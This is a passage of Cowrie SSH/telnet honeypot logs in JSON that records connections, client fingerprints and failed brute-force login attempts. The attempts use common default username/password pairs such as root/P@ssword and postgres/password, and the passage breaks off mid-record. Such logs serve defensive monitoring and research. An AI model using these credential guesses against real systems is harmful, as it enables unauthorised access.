{"eventid":"cowrie.session.closed","duration":2.6650643348693848,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:17.706693Z","src_ip":"20.123.41.163","session":"6f24cf56a360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:17.771588Z","src_ip":"45.156.87.254","session":"70acfb6cbfb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":56702,"dst_ip":"10.17.0.5","dst_port":23,"session":"7360d847f9fd","protocol":"telnet","message":"New connection: 20.123.41.163:56702 (10.17.0.5:23) [session: 7360d847f9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:20.659197Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":60894,"dst_ip":"10.17.0.5","dst_port":23,"session":"841452ca6a98","protocol":"telnet","message":"New connection: 185.145.252.179:60894 (10.17.0.5:23) [session: 841452ca6a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:21.213845Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58270,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8f2a5869393","protocol":"ssh","message":"New connection: 45.156.87.254:58270 (159.203.135.109:22) [session: f8f2a5869393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:21.839415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:21.848645Z","src_ip":"45.156.87.254","session":"f8f2a5869393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:21.933304Z","src_ip":"45.156.87.254","session":"f8f2a5869393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:22.193285Z","src_ip":"45.156.87.254","session":"f8f2a5869393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:23.283686Z","src_ip":"45.156.87.254","session":"f8f2a5869393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.93038582801819,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:25.497834Z","src_ip":"20.123.41.163","session":"8885116a0d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58286,"dst_ip":"159.203.135.109","dst_port":22,"session":"e04dcbaefb5f","protocol":"ssh","message":"New connection: 45.156.87.254:58286 (159.203.135.109:22) [session: e04dcbaefb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:27.526146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:27.531342Z","src_ip":"45.156.87.254","session":"e04dcbaefb5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.906319856643677,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:27.565421Z","src_ip":"20.123.41.163","session":"7360d847f9fd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:27.623883Z","src_ip":"45.156.87.254","session":"e04dcbaefb5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:28.047086Z","src_ip":"45.156.87.254","session":"e04dcbaefb5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:29.140787Z","src_ip":"45.156.87.254","session":"e04dcbaefb5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41326,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7a5bad162ba","protocol":"ssh","message":"New connection: 45.156.87.254:41326 (159.203.135.109:22) [session: a7a5bad162ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:33.296004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:33.428702Z","src_ip":"45.156.87.254","session":"a7a5bad162ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:33.434180Z","src_ip":"45.156.87.254","session":"a7a5bad162ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:33.838010Z","src_ip":"45.156.87.254","session":"a7a5bad162ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:34.928890Z","src_ip":"45.156.87.254","session":"a7a5bad162ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.537619829177856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:35.235145Z","src_ip":"104.245.105.2","session":"48d2d0f568b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49724,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d7a389f908a","protocol":"ssh","message":"New connection: 45.156.87.254:49724 (159.203.135.109:22) [session: 2d7a389f908a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:39.084388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:39.090257Z","src_ip":"45.156.87.254","session":"2d7a389f908a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:39.173824Z","src_ip":"45.156.87.254","session":"2d7a389f908a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:39.426895Z","src_ip":"45.156.87.254","session":"2d7a389f908a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:40.514280Z","src_ip":"45.156.87.254","session":"2d7a389f908a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49738,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cab441d8449","protocol":"ssh","message":"New connection: 45.156.87.254:49738 (159.203.135.109:22) [session: 1cab441d8449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:44.229908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:44.234862Z","src_ip":"45.156.87.254","session":"1cab441d8449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:44.343373Z","src_ip":"45.156.87.254","session":"1cab441d8449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:44.626325Z","src_ip":"45.156.87.254","session":"1cab441d8449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:45.715553Z","src_ip":"45.156.87.254","session":"1cab441d8449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38470,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2f04cd7f1f1","protocol":"ssh","message":"New connection: 45.156.87.254:38470 (159.203.135.109:22) [session: c2f04cd7f1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:49.361798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:49.369006Z","src_ip":"45.156.87.254","session":"c2f04cd7f1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:49.447365Z","src_ip":"45.156.87.254","session":"c2f04cd7f1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:49.779943Z","src_ip":"45.156.87.254","session":"c2f04cd7f1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:50.870047Z","src_ip":"45.156.87.254","session":"c2f04cd7f1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.324524402618408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:51.538240Z","src_ip":"185.145.252.179","session":"841452ca6a98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38496,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbd52c8e205b","protocol":"ssh","message":"New connection: 45.156.87.254:38496 (159.203.135.109:22) [session: cbd52c8e205b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:54.785545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:54.791026Z","src_ip":"45.156.87.254","session":"cbd52c8e205b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:54.893482Z","src_ip":"45.156.87.254","session":"cbd52c8e205b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:55.282397Z","src_ip":"45.156.87.254","session":"cbd52c8e205b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:33:56.471822Z","src_ip":"45.156.87.254","session":"cbd52c8e205b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45656,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef59c2f2564d","protocol":"ssh","message":"New connection: 45.156.87.254:45656 (159.203.135.109:22) [session: ef59c2f2564d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:00.410664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:34:00.434108Z","src_ip":"45.156.87.254","session":"ef59c2f2564d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 